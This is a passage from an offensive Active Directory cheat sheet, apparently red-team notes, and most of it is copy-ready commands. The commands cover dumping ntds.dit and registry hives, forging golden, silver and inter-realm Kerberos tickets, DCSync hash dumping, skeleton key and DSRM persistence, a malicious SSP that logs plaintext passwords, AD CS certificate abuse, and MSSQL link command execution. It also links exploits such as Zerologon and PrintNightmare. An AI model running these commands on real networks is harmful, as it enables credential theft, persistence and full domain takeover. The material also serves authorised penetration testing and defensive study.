   5
   #Checking if the SeBackupPrivilege is enabled
   6
   Get-SeBackupPrivilege
   7
   
   8
   #If it isn't we enable it
   9
   Set-SeBackupPrivilege
   10
   
   11
   #Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
   12
   Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite
   13
   
   14
   #Dump the SYSTEM hive
   15
   reg save HKLM\SYSTEM c:\temp\system.hive
   

3. Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.

4. Use secretsdump.py from impacket and dump the hashes.

5. Use psexec or another tool of your choice to PTH and get Domain Admin access.

Abusing Exchange#

• Abusing Exchange one Api call from DA
• CVE-2020-0688
• PrivExchange Exchange your privileges for Domain Admin privs by abusing Exchange

Weaponizing Printer Bug#

• Printer Server Bug to Domain Administrator
• NetNTLMtoSilverTicket

Abusing ACLs#

• Escalating privileges with ACLs in Active Directory
• aclpwn.py
• Invoke-ACLPwn

Abusing IPv6 with mitm6#

• Compromising IPv4 networks via IPv6
• mitm6

SID History Abuse#

WUT IS DIS?: If we manage to compromise a child domain of a forest and SID filtering isn’t enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the SID History field on a kerberos TGT ticket, that defines the “extra” security groups and privileges.

Exploitation example:

1
#Get the SID of the Current Domain using PowerView
2
Get-DomainSID -Domain current.root.domain.local
3

4
#Get the SID of the Root Domain using PowerView
5
Get-DomainSID -Domain root.domain.local
6

7
#Create the Enteprise Admins SID
8
Format: RootDomainSID-519
9

10
#Forge "Extra" Golden Ticket using mimikatz
11
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
12

13
#Inject the ticket into memory
14
kerberos::ptt \path\to\ticket\golden.kirbi
15

16
#List the DC of the Root Domain
17
dir \\dc.root.domain.local\C$
18

19
#Or DCsync and dump the hashes using mimikatz
20
lsadump::dcsync /domain:root.domain.local /all

Detailed Articles:

• Kerberos Golden Tickets are Now More Golden
• A Guide to Attacking Domain Trusts

Exploiting SharePoint#

• CVE-2019-0604 RCE Exploitation
  PoC
• CVE-2019-1257 Code execution through BDC deserialization
• CVE-2020-0932 RCE using typeconverters
  PoC

Zerologon#

• Zerologon: Unauthenticated domain controller compromise: White paper of the vulnerability.
• SharpZeroLogon: C# implementation of the Zerologon exploit.
• Invoke-ZeroLogon: PowerShell implementation of the Zerologon exploit.
• Zer0Dump: Python implementation of the Zerologon exploit using the impacket library.

PrintNightmare#

• CVE-2021-34527: Vulnerability details.
• Impacket implementation of PrintNightmare: Reliable PoC of PrintNightmare using the impacket library.
• C# Implementation of CVE-2021-1675: Reliable PoC of PrintNightmare written in C#.

Active Directory Certificate Services#

Check for Vulnerable Certificate Templates with: Certify

Note: Certify can be executed with Cobalt Strike’s execute-assembly command as well

1
.\Certify.exe find /vulnerable /quiet

Make sure the msPKI-Certificates-Name-Flag value is set to “ENROLLEE_SUPPLIES_SUBJECT” and that the Enrollment Rights allow Domain/Authenticated Users. Additionally, check that the pkiextendedkeyusage parameter contains the “Client Authentication” value as well as that the “Authorized Signatures Required” parameter is set to 0.

This exploit only works because these settings enable server/client authentication, meaning an attacker can specify the UPN of a Domain Admin (“DA”) and use the captured certificate with Rubeus to forge authentication.

Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended. Check before choosing a DA to target.

Request the DA’s Account Certificate with Certify

1
.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine

This should return a valid certificate for the associated DA account.

The exported cert.pem and cert.key files must be consolidated into a single cert.pem file, with one gap of whitespace between the END RSA PRIVATE KEY and the BEGIN CERTIFICATE.

Example of cert.pem:

1
-----BEGIN RSA PRIVATE KEY-----
2
BIIEogIBAAk15x0ID[...]
3
[...]
4
[...]
5
-----END RSA PRIVATE KEY-----
6

7
-----BEGIN CERTIFICATE-----
8
BIIEogIBOmgAwIbSe[...]
9
[...]
10
[...]
11
-----END CERTIFICATE-----

#Utilize openssl to Convert to PKCS #12 Format

The openssl command can be utilized to convert the certificate file into PKCS #12 format (you may be required to enter an export password, which can be anything you like).

1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Once the cert.pfx file has been exported, upload it to the compromised host (this can be done in a variety of ways, such as with Powershell, SMB, certutil.exe, Cobalt Strike’s upload functionality, etc.)

After the cert.pfx file has been uploaded to the compromised host, Rubeus can be used to request a Kerberos TGT for the DA account which will then be imported into memory.

1
.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt

This should result in a successfully imported ticket, which then enables an attacker to perform various malicious acitivities under DA user context, such as performing a DCSync attack.

No PAC#

• sAMAccountname Spoofing Exploitation of CVE-2021-42278 and CVE-2021-42287
• Weaponisation of CVE-2021-42287/CVE-2021-42278 Exploitation of CVE-2021-42278 and CVE-2021-42287
• noPAC C# tool to exploit CVE-2021-42278 and CVE-2021-42287
• sam-the-admin Python automated tool to exploit CVE-2021-42278 and CVE-2021-42287
• noPac Evolution of “sam-the-admin” tool

Golden Ticket Attack#

1
#Execute mimikatz on DC as DA to grab krbtgt hash:
2
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>
3

4
#On any machine:
5
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:
6
<HashOfkrbtgtAccount>   id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

DCsync Attack#

1
#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
2
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"'
3

4
#DCsync using secretsdump.py from impacket with NTLM authentication
5
secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm
6

7
#DCsync using secretsdump.py from impacket with Kerberos Authentication
8
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm

Tip:
/ptt -> inject ticket on current running session
/ticket -> save the ticket on the system for later use

Silver Ticket Attack#

1
Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service:
2
<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'

SPN List

Skeleton Key Attack#

1
#Exploitation Command runned as DA:
2
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN>
3

4
#Access using the password "mimikatz"
5
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator

DSRM Abuse#

WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!

1
#Dump DSRM password (needs DA privs):
2
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>
3

4
#This is a local account, so we can PTH and authenticate!
5
#BUT we need to alter the behaviour of the DSRM account before pth:
6
#Connect on DC:
7
Enter-PSSession -ComputerName <DC's Name>
8

9
#Alter the Logon behaviour on registry:
10
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose
11

12
#If the property already exists:
13
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose

Then just PTH to get local admin access on DC!

Custom SSP#

WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!

From powershell:

1
#Get current Security Package:
2
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty  'Security Packages'
3

4
#Append mimilib:
5
$packages += "mimilib"
6

7
#Change the new packages name
8
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages
9
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages
10

11
#ALTERNATIVE:
12
Invoke-Mimikatz -Command '"misc::memssp"'

Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log

Trust Tickets#

WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.

:warning: The access we will have will be limited to what our DA account is configured to have on the other Forest!

• Using Mimikatz:

  1
  #Dump the trust key
  2
  Invoke-Mimikatz -Command '"lsadump::trust /patch"'
  3
  Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
  4
  
  5
  #Forge an inter-realm TGT using the Golden Ticket attack
  6
  Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid:
  7
  <OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket:
  8
  <PathToSaveTheGoldenTicket>"'
  

  :exclamation: Tickets -> .kirbi format

  Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource!

• Using Rubeus:

  1
  .\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt
  

Abuse MSSQL Servers#

• Enumerate MSSQL Instances: Get-SQLInstanceDomain

• Check Accessibility as current user:

  1
  Get-SQLConnectionTestThreaded
  2
  Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  

• Gather Information about the instance: Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

• Abusing SQL Database Links:
  WUT IS DIS?: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust!

Check for existing Database Links:

1
#Check for existing Database Links:
2
#PowerUpSQL:
3
Get-SQLServerLink -Instance <SPN> -Verbose
4

5
#MSSQL Query:
6
select * from master..sysservers

Then we can use queries to enumerate other links from the linked Database:

1
#Manualy:
2
select * from openquery("LinkedDatabase", 'select * from master..sysservers')
3

4
#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
5
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose
6

7
# Enable RPC Out (Required to Execute XP_CMDSHELL)
8
EXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true';
9
EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true';
10
select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc'',''true'';');
11
select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc out'',''true'';');
12

13
#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell
14
#Or if it is disabled enable it:
15
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"

Query execution:

1
Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"

Breaking Forest Trusts#

WUT IS DIS?:
TL;DR
If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest’s root domain to authenticate to us. Then we can capture it’s TGT, inject it into memory and DCsync to dump it’s hashes, giving ous complete access over the whole forest.

Tools we are going to use:

• Rubeus
• SpoolSample
• Mimikatz

Exploitation example:

1
#Start monitoring for TGTs with rubeus:
2
Rubeus.exe monitor /interval:5 /filteruser:target-dc
3

4
#Execute the printerbug to trigger the force authentication of the target DC to our machine
5
SpoolSample.exe target-dc.external.forest.local dc.compromised.domain.local
6

7
#Get the base64 captured TGT from Rubeus and inject it into memory:
8
Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>
9

10
#Dump the hashes of the target domain using mimikatz:
11
lsadump::dcsync /domain:external.forest.local /all

Detailed Articles:

• Not A Security Boundary: Breaking Forest Trusts
• Hunting in Active Directory: Unconstrained Delegation & Forests Trusts